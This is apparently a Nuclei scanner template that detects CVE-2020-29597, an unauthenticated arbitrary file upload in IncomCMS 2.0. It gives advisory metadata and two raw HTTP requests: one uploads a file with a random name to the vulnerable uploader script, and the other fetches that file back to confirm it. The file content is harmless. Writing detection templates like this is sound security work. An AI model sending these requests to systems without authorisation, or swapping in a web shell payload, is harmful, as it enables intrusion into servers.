61 lines
1.9 KiB
YAML
61 lines
1.9 KiB
YAML
id: CVE-2020-29597
|
|
|
|
info:
|
|
name: IncomCMS 2.0 - Arbitrary File Upload
|
|
author: princechaddha
|
|
severity: critical
|
|
description: |
|
|
IncomCMS 2.0 has a an insecure file upload vulnerability in modules/uploader/showcase/script.php. This allows unauthenticated attackers to upload files into the server.
|
|
remediation: |
|
|
Apply the latest security patch or update to a version that addresses the vulnerability.
|
|
reference:
|
|
- https://github.com/Trhackno/CVE-2020-29597
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2020-29597
|
|
- https://github.com/M4DM0e/m4dm0e.github.io/blob/gh-pages/_posts/2020-12-07-incom-insecure-up.md
|
|
- https://m4dm0e.github.io/2020/12/07/incom-insecure-up.html
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2020-29597
|
|
cwe-id: CWE-434
|
|
epss-score: 0.81807
|
|
epss-percentile: 0.97986
|
|
cpe: cpe:2.3:a:incomcms_project:incomcms:2.0:*:*:*:*:*:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 2
|
|
vendor: incomcms_project
|
|
product: incomcms
|
|
tags: cve,cve2020,incomcms,fileupload,intrusive
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /incom/modules/uploader/showcase/script.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBEJZt0IK73M2mAbt
|
|
|
|
------WebKitFormBoundaryBEJZt0IK73M2mAbt
|
|
Content-Disposition: form-data; name="Filedata"; filename="{{randstr_1}}.png"
|
|
Content-Type: text/html
|
|
|
|
{{randstr_2}}
|
|
------WebKitFormBoundaryBEJZt0IK73M2mAbt--
|
|
- |
|
|
GET /upload/userfiles/image/{{randstr_1}}.png HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
req-condition: true
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body_1
|
|
words:
|
|
- '{"status":"1","name":"{{randstr_1}}.png"}'
|
|
|
|
- type: word
|
|
part: body_2
|
|
words:
|
|
- '{{randstr_2}}'
|